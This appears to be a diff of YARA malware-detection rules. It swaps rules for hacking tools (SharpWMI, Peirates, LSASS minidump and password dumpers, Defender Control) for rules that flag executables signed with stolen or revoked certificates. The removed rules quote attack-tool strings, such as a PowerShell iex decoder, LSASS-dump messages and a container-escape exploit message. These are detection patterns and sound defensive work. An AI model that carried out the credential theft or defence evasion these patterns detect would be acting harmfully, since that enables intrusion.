-		uint16(0)==0x5a4d and ( all of ($id*) or 6 of ($s*) or (1 of ($id*) and 4 of ($s*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Corsair Software Solution Inc." and pe.signatures[i].serial=="51:ae:ad:5a:9a:b2:d8:41:b4:49:fa:82:de:3a:8a:00")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_UAC_NSISUAC : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_Bce1D49Ff444D032Ba3Dda6394A311E9 : FILE
 {
 	meta:
-		description = "Detects NSIS UAC plugin"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4a7c20f6-bf0e-55fb-a0b9-7b51e4af7cd3"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "ee980353-b7c3-5738-84ae-e51c021e6597"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L575-L587"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1949-L1960"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "48c0247c789328a0ff62816f5d6ecac7a0f2a3fe2cb95d99c0e7d988147f7137"
+		logic_hash = "eeb1556808e790eea964658a8499ec2d9cc5638bf696fbbade2bc08a29fb3e65"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "HideCurrUserOpt" fullword wide
-		$s2 = "/UAC:%X /NCRC%s" fullword wide
-		$s3 = "2MyRunAsStrings" fullword wide
-		$s4 = "CheckElevationEnabled" fullword ascii
-		$s5 = "UAC.dll" fullword ascii
+		thumbprint = "e9a9ef5dfca4d2e720e86443c6d491175f0e329ab109141e6e2ee4f0e33f2e38"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DECIPHER MEDIA LLC" and pe.signatures[i].serial=="bc:e1:d4:9f:f4:44:d0:32:ba:3d:da:63:94:a3:11:e9")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_REM_Intelliadmin : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Dadf44E4046372313Ee97B8E394C4079 : FILE
 {
 	meta:
-		description = "Detects commerical IntelliAdmin remote tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "15385e0b-ead4-5614-a04e-55878eb70b34"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "bb7178f4-079f-5f7e-9761-3f73203603c7"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L589-L602"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1962-L1973"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8b601d68eff65bc6cc2fb46630a7021e229764f9a80f6d3278ba3b9f55e5b114"
+		logic_hash = "e4480ad6ce302a87e38915ef7ba09a94a4626ed359333276b899474f21d46238"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$pdb1 = "\\Network Administrator" ascii
-		$pdb2 = "\\Binaries\\Plugins\\Tools\\RPCService.pdb" ascii
-		$s1 = "CIntelliAdminRPC" fullword wide
-		$s2 = "IntelliAdmin RPC Service" fullword wide
-		$s3 = "IntelliAdmin Remote Execute v" ascii
-		$s4 = "IntelliAdminRPC" fullword ascii
+		thumbprint = "80986ae0d4f8c8fabf6c4a91550c90224e26205a4ca61c00ff6736dd94817e65"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($pdb*) or 2 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Digital Capital Management Ireland Limited" and pe.signatures[i].serial=="00:da:df:44:e4:04:63:72:31:3e:e9:7b:8e:39:4c:40:79")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpwmi : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00F8C2E08438Bb0E9Adc955E4B493E5821 : FILE
 {
 	meta:
-		description = "Detects SharpWMI"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "9c58d9fa-04b8-5a9c-8ae9-ff2e7530772f"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "75f505d0-c79a-5eab-a61f-29ec238ac045"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L604-L619"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1975-L1986"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e6c5764d0883e2882e06f07e4729362011a4d65614259b85978e1c6ef5cfadb7"
+		logic_hash = "2258ea96b56acb3025b5b2f39c07d482c375e75323d6f8e8ded91b8dab00656e"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "scriptKillTimeout" fullword ascii
-		$s2 = "RemoteWMIExecuteWithOutput" fullword ascii
-		$s3 = "RemoteWMIFirewall" fullword ascii
-		$s4 = "iex([char[]](@({0})|%{{$_-bxor{1}}}) -join '')" fullword wide
-		$s5 = "\\\\{0}\\root\\subscription" fullword wide
-		$s6 = "_Context##RANDOM##" fullword wide
-		$s7 = "executevbs" fullword wide
-		$s8 = "scriptb64" fullword wide
+		thumbprint = "459ef82eb5756e85922a4687d66bd6a0195834f955ede35ae6c3039d97b00b5f"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "DocsGen Software Solutions Inc." and pe.signatures[i].serial=="00:f8:c2:e0:84:38:bb:0e:9a:dc:95:5e:4b:49:3e:58:21")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Defendercontrol : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00D2Caf7908Aaebfa1A8F3E2136Fece024 : FILE
 {
 	meta:
-		description = "Detects Defender Control"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "7bc1f26e-2432-5642-b1e7-c87683f7d932"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "043a598d-8b84-597f-ac2e-035cc9ccef77"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L621-L631"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L1988-L1999"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "826ed0643a07580750eb11c4cf2c2759f53b6c2bda51705476edc4808abccbf8"
+		logic_hash = "2c8a322e687ed575e66ff308bcf0950ab87bc5ac3ab561c8cc3d81e9181ac708"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "Windows Defender Control" wide
-		$s2 = "www.sordum.org" wide ascii
-		$s3 = "dControl" wide
+		thumbprint = "82baf9b781d458a29469e5370bc9752ebef10f3f8ea506ca6dd04ea5d5f70334"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FANATOR, OOO" and pe.signatures[i].serial=="00:d2:ca:f7:90:8a:ae:bf:a1:a8:f3:e2:13:6f:ec:e0:24")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Mulit_Venomagent : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_003223B4616C2687C04865Bee8321726A8 : FILE
 {
 	meta:
-		description = "Detects Venom Proxy Agent"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "598bc773-cbe9-503b-ba3e-27c2cde8910d"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "05320823-08e5-58f4-896c-ae7f01b40a3b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L633-L645"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2001-L2012"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5eda23a237404a44dc9eb057adbf6106166374168eb08e55c182da5c05ecb4f1"
+		logic_hash = "671e3a589fb24a6c5e38126df45a4767815eff32014172930cab6ffbe135af81"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "github.com/Dliv3/Venom/" ascii
-		$s2 = "3HpKQVB3nT3qaNQPT-ZU/SKJ55ofz5TEmg5O3ROWA/CUs_-gfa04tGVO633Z4G/OSeEpRRb0Sq_5R6ArIi-" ascii
-		$s3 = "venom_agent -" ascii
-		$s4 = "bufferssh-userauthtransmitfileunknown portwirep: p->m= != sweepgen" ascii
-		$s5 = "golang.org/x/crypto/ssh.(*handshakeTransport).readPacket"
+		thumbprint = "321218e292c2c489bbc7171526e1b4e02ef68ce23105eee87832f875b871ed9f"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "FORTUNE STAR TRADING, INC." and pe.signatures[i].serial=="32:23:b4:61:6c:26:87:c0:48:65:be:e8:32:17:26:a8")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_HFS_Webserver : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0Fa13Ae98E17Ae23Fcfe7Ae873D0C120 : FILE
 {
 	meta:
-		description = "Detects HFS Web Server"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "2c9d9a38-8a6c-5c53-84bc-4eef77933172"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "5e926cb1-efd0-5f9d-9327-341bb2f1a5f5"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L647-L658"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2014-L2025"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f5b8947e3858466dae5f476790842500f8184c4676d8c0c4870adb7fd3206652"
+		logic_hash = "312d810386aebb509ffbd09d6b1ad6a761a03bc07ba5e4a158235786063389a9"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "SOFTWARE\\Borland\\Delphi\\" ascii
-		$s2 = "C:\\code\\mine\\hfs\\scriptLib.pas" fullword ascii
-		$s3 = "hfs.*;*.htm*;descript.ion;*.comment;*.md5;*.corrupted;*.lnk" ascii
-		$s4 = "Server: HFS" ascii
+		thumbprint = "be226576c113cd14bcdb67e46aab235d9257cd77b826b0d22a9aa0985bad5f35"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "KLAKSON, LLC" and pe.signatures[i].serial=="0f:a1:3a:e9:8e:17:ae:23:fc:fe:7a:e8:73:d0:c1:20")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PROX_Lanproxy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3696883055975D571199C6B5D48F3Cd5 : FILE
 {
 	meta:
-		description = "Detects lanproxy-go-client"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "71fc23d9-9aae-5666-832b-90cf5a86c474"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "8af62be2-488f-5474-b674-73bf157dff00"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L660-L675"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2027-L2038"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "13a5aaea0fb522e3badb4a60d2db8d7dd46e5721bd6dc2e2b2e29d49e197c375"
+		logic_hash = "9232413a071a6100ba806b1fad2cd6cd2bb85351c36ad25cfc31b66ad041d686"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "serverShare" fullword ascii
-		$s2 = "parkingOnChan" fullword ascii
-		$s3 = "{{join .Names \", \"}}{{\"\\t\"}}{{.Usage}}{{end}}{{end}}{{end}}{{end}}{{" ascii
-		$s4 = "</table></thead></tbody>" fullword ascii
-		$s5 = "value=aacute;abreve;addressagrave;alt -> andand;angmsd;angsph;any -> apacir;approx;articleatilde;barvee;barwed;bdoUxXvbecaus;ber" ascii
-		$s6 = "/dev/urandom127.0.0.1:" ascii
-		$s7 = "non-IPv4 addressnon-IPv6 addressntrianglelefteq;object is remotepacer: H_m_prev=reflect mismatchregexp: Compile(remote I/O error" ascii
-		$s8 = ".WithDeadline(.in-addr.arpa." ascii
+		thumbprint = "933749369d61bebd5f2c63ff98625973c41098462d9732cffaffe7e02823bc3a"
+		importance = 20
 
 	condition:
-		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Korist Networks Incorporated" and pe.signatures[i].serial=="36:96:88:30:55:97:5d:57:11:99:c6:b5:d4:8f:3c:d5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Peirates : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Aff762E907F0644E76Ed8A7485Fb12A1 : FILE
 {
 	meta:
-		description = "Detects Kubernetes penetration tool Peirates"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "74ce83ed-0d93-5cb0-97e8-6885ae83b336"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "92113fc4-ef5b-5e86-bc8e-baf342ddf276"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L677-L694"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2040-L2051"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "321f06af098283638f99d027dc3c95a25a72192a25c7afa5081a7dbff8c3acb7"
+		logic_hash = "0be4642f6aaf2183d593240efcc8c2046970d3806a67ff53ca4ce7ee85df90e5"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DeprecatedServiceAccount" fullword ascii
-		$s2 = "LivenessProbe" fullword ascii
-		$s3 = "\\t\\tkubectl expose rs nginx --port=80 --target-port=8000" ascii
-		$s4 = "\\t\\tkubectl run hazelcast --image=hazelcast --port=5701" ascii
-		$s5 = "COMPREPLY[$i]=${COMPREPLY[$i]#\"$colon_word\"}" ascii
-		$s6 = "%*polymorphichelpers.HistoryViewerFunc" ascii
-		$s7 = "ListenAndServeTLS" ascii
-		$s8 = "DownwardAPI" ascii
-		$s9 = "; plural=(n%10==1 && n%100!=11 ? 0 : n != 0 ? 1 : 2);proto:" ascii
-		$s10 = "name: attack-" ascii
+		thumbprint = "7b0c55ae9f8f5d82edbc3741ea633ae272bbb2207da8e88694e06d966d86bc63"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and 9 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Lets Start SP Z O O" and pe.signatures[i].serial=="00:af:f7:62:e9:07:f0:64:4e:76:ed:8a:74:85:fb:12:a1")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Botb : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5B440A47E8Ce3Dd202271E5C7A666C78 : FILE
 {
 	meta:
-		description = "Detects Break out the Box (BOtB)"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "acafa6dd-51b9-5945-b1df-7763a97a424f"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "62c9a37c-e4dd-5925-a019-08bf6a77476d"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L696-L710"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2053-L2064"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a01f796b27852f9217d9bfea32f8d9ffb3c88521d4413f6612f7a0544cf44fb3"
+		logic_hash = "f898a3495e173d85fd62598da87ab15cbee0674519231a5e770204a4db3cd93f"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "to unallocated span%%!%c(*big.Float=%s), RecursionDesired: /usr/share/zoneinfo//{Bucket}/{Key+}?acl/{Bucket}?accelerate/{Bucket}?encryption/{Bucket}?" ascii
-		$s2 = "exploit CVE-2019-5736 with command: [ERROR] In Enabling CGROUP Notifications -> 'echo 1 > [INFO] CGROUP may exist, attempting exploit regardless" ascii
-		$s3 = "main.execShellCmd" ascii
-		$s4 = "[*] Data uploaded to:[+]" ascii
-		$s5 = "whitespace or line breakfailed to find credentials in the environment.failed to get %s EC2 instance role credentialsfirst" ascii
-		$s6 = "This process will exit IF an EXECVE is called in the Container or if the Container is manually stoppedPerform reverse DNS lookups" ascii
-		$s7 = "http: request too largehttp://100.100.100.200/http://169.254.169.254/index out of range" ascii
+		thumbprint = "07e4cbdd52027e38b86727e88b33a0a1d49fe18f5aee4101353dd371d7a28da5"
+		importance = 20
 
 	condition:
-		uint16(0)==0x457f and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Master Networking s.r.o." and pe.signatures[i].serial=="5b:44:0a:47:e8:ce:3d:d2:02:27:1e:5c:7a:66:6c:78")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_LSASS_Createminidump : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Fe41941464B9992A69B7317418Ae8Eb7 : FILE
 {
 	meta:
-		description = "Detects CreateMiniDump tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "0d8642d1-2ed9-5270-a54a-6ba788026f5f"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "44626304-7f68-5d3a-81b4-91ee0bd09cc3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L712-L724"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2066-L2077"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "577ccc783554363c0bed80d9642e8a0f107fc2ec66d84f76b9556aa3506c86c0"
+		logic_hash = "713a2cfc95b83de71064e198b26b716790c7cf21674961720695ab6749cb2ad1"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "lsass.dmp" fullword wide
-		$s2 = "lsass dumped successfully!" ascii
-		$s3 = "Got lsass.exe PID:" ascii
-		$s4 = "\\experiments\\CreateMiniDump\\CreateMiniDump\\" ascii
-		$s5 = "MiniDumpWriteDump" fullword ascii
+		thumbprint = "ef4da71810fb92e942446ee1d9b5f38fea49628e0d8335a485f328fcef7f1a20"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 2 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Milsean Software Limited" and pe.signatures[i].serial=="00:fe:41:94:14:64:b9:99:2a:69:b7:31:74:18:ae:8e:b7")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Browserpassworddumper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_29128A56E7B3Bfb230742591Ac8B4718 : FILE
 {
 	meta:
-		description = "Detects SecurityXploded Browser Password Dumper tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ce90ef96-43c0-5d68-ba7d-21aafb3f754b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "58a9e9f1-531b-5dee-aa11-1537838e9d3f"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L726-L737"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2079-L2090"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b3c6e9b393c244c7bf6489f54ebd622a09da050a65d6dbde325d5bcd7d85f39a"
+		logic_hash = "16c9843b5e3edafa64e07626fda494452efa5d0bcaa80d7d80683258c2b9acd4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\projects\\windows\\BrowserPasswordDump\\Release\\FireMaster.pdb" ascii
-		$s2 = "%s: Dumping passwords" fullword ascii
-		$s3 = "%s - Found login data file...dumping the passwords from file %s" fullword ascii
-		$s4 = "%s Dumping secrets from login json file %s" fullword ascii
+		thumbprint = "f9fcc798e1fccee123034fe9da9a28283de48ba7ae20f0c55ce0d36ae4625133"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Programavimo paslaugos, MB" and pe.signatures[i].serial=="29:12:8a:56:e7:b3:bf:b2:30:74:25:91:ac:8b:47:18")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Ftppassworddumper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00C2Bb11Cfc5E80Bf4E8Db2Ed0Aa7E50C5 : FILE
 {
 	meta:
-		description = "Detects SecurityXploded FTP Password Dumper tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "d876c201-b527-531c-9563-0b1a1c6334cb"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "d22ee868-71a7-52f4-93f3-b04b105fd399"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L739-L750"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2092-L2103"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "941bfb9b1ce71252c5aa05bd654bdcf1af6cc1d5f720bc2c239e17454f15beda"
+		logic_hash = "e54eeea70e85396b26fe188b848ef37c619aae5fc909c1a06ad0bc42fb9b0468"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\projects\\windows\\FTPPasswordDump\\Release\\FireMaster.pdb" ascii
-		$s2 = "//Dump all the FTP passwords to a file \"c:\\passlist.txt\"" ascii
-		$s3 = "//Dump all the FTP passwords to console" ascii
-		$s4 = "FTP Password Dump" fullword wide
+		thumbprint = "f1044e01ff30d14a3f6c89effae9dbcd2b43658a3f7885c109f6e22af1a8da4b"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Rooth Media Enterprises Limited" and pe.signatures[i].serial=="00:c2:bb:11:cf:c5:e8:0b:f4:e8:db:2e:d0:aa:7e:50:c5")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Emailpassworddumper : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_040Cc2255Db4E48Da1B4F242F5Edfa73 : FILE
 {
 	meta:
-		description = "Detects SecurityXploded Email Password Dumper tool"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "25e140de-4a0a-5d4f-a93f-a414b9879f2b"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "4673a61f-1c2b-5f92-af28-d55b5d913784"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L752-L764"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2105-L2116"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7f07611385d45bf45bfb8ee95e56febfb992fb7b416321c5b590878636a5c1b7"
+		logic_hash = "ade204ebb2bf26515984d20ae459aaea56136acfd37a54abc794969fd05c54ce"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\projects\\windows\\EmailPasswordDump\\Release\\FireMaster.pdb" ascii
-		$s2 = "//Dump all the Email passwords to a file \"c:\\passlist.txt\"" ascii
-		$s3 = "EmailPasswordDump" fullword wide
-		$s4 = "//Dump all the Email passwords to console" ascii
-		$s5 = "Email Password Dump" fullword wide
+		thumbprint = "1270a79829806834146ef50a8036cfcc1067e0822e400f81073413a60aa9ed54"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 3 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Softland SRL" and pe.signatures[i].serial=="04:0c:c2:25:5d:b4:e4:8d:a1:b4:f2:42:f5:ed:fa:73")
 }
 import "pe"
 
-rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpsphere : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3Bcaed3Ef678F2F9Bf38D09E149B8D70 : FILE
 {
 	meta:
-		description = "Detects SharpSphere red teamers tool to interact with the guest operating systems of virtual machines managed by vCenter"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "878b5174-2368-5fc8-9573-7b2759cab409"
-		date = "2024-01-23"
-		modified = "2024-01-23"
+		id = "decdae98-333f-58b3-8c48-b997da5fc3f3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L766-L783"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L2118-L2129"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aae9355fcc7a6b5faf3807c85983032519550e936d5660c823d13731083be512"
+		logic_hash = "9981e0aed672ebfcbe7f0bc1eee6a26a1523b8577d5ee572612aaebf23d1fbcf"
 		score = 75
-		quality = 50
+		quality = 75
 		tags = "FILE"
-
-	strings:
